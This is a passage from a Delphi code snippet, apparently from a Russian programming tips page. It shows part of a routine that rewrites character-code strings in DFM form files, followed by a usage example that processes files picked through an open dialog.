        Result := B
      else if B = 0 then
        Result := A
      else if A > B then
        Result := B
      else
        Result := A;
    end;
  var
    StartIdx: Integer;
  begin
    Result := False;
    StartIdx := Min(Pos('#', S), Pos('''', S));
    if StartIdx > 0 then
    begin
      len := Length(S);
      while (StartIdx <= len) and (not (S[StartIdx] in ['#', ''''])) do
        inc(StartIdx);
      if StartIdx < len then
      begin
        Res := Copy(S, 1, StartIdx - 1) + Prepare(StartIdx);
        Result := True;
      end;
    end;
  end;
var
  SList: TStringList;
  K: Integer;
  Res: string;
begin
  SList := TStringList.Create;
  try
    SList.LOADFROMFILE(Filename);
    for K := 0 to SList.Count - 1 do
      if isChanges(SList[K], Res) then
        SList[K] := Res;
    SList.SaveToFile(Filename);
  finally
    SList.Free;
  end;
end;

Пример использования:

procedure TForm1.Button1Click(Sender: TObject);
var
  K: Integer;
begin
  if OpenDialog1.Execute then
    for K := 0 to OpenDialog1.Files.Count - 1 do
      RemoveUnicodeFromDFM(OpenDialog1.Files[K]);
end;
Содержание.